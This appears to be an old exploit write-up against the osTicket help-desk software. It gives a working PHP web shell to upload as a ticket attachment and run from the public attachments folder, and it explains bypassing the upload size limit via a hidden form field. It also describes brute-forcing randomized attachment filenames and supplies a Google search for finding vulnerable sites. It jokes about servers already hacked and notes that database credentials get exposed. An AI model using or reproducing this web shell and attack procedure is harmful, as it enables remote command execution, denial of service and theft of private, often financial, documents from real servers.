OSTICKET, http://www.osticket.com/ "Need to test the system before you install? Then try our demo version of the latest release of osTicket. DEMO DISABLED"
Note: When a software group will not run their own program, you know it's not safe for you to run.
Problem:
CPanel and other webservers display directory listings of the /osticket/attachments folder. The documents here are private and often financial in nature.
First look at a site using osticket www.example.com/osticket/
Create a new ticket and upload a file with ticket.
Visit www.example.com/osticket/attachments/
Now you see your uploaded file here. If you uploaded a PHP document containing
<?PHP echo "<form action = ''><input type = 'text' name = 'cmd' value = '$cmd' size = '75'><BR>"; if (!$cmd)die; system($cmd); ?>
You can now run commands on the server by clicking the script.
There's more:
The os ticket software limits the size of uploads by a "hidden" field in the submit form. A user can modify this and upload a file of ANY size possibly leading the site to be shut down if it has webspace or traffic limitations.
Extra:
About 2/3 of sites using the osTicket software do not have directory listings turned on. For the determined hacker they are not safe. When a file is uploaded, it is renamed ######_filename where # is a random number. Because there are no ip restrictions on number of tickets a user could upload the PHP script say 100 times then use another script to randomly guess numbers followed by _name. Then in a MAX of 10k tries they will have hacked the server. This means that the other 2/3 of sites are hackable, just over a longer period of time.
I am sorry to all the servers that were hacked to discover this exploit. (funny joke)
Other:
Cpanel includes osticket. osticket is free. Sites can be found on google with the following url, changed around depending on what you want. http://www.google.com./search?q=%22Main%22...8&start=10&sa=N osTicket requires sql and these exploits lead to the database login info being shown.
nice one.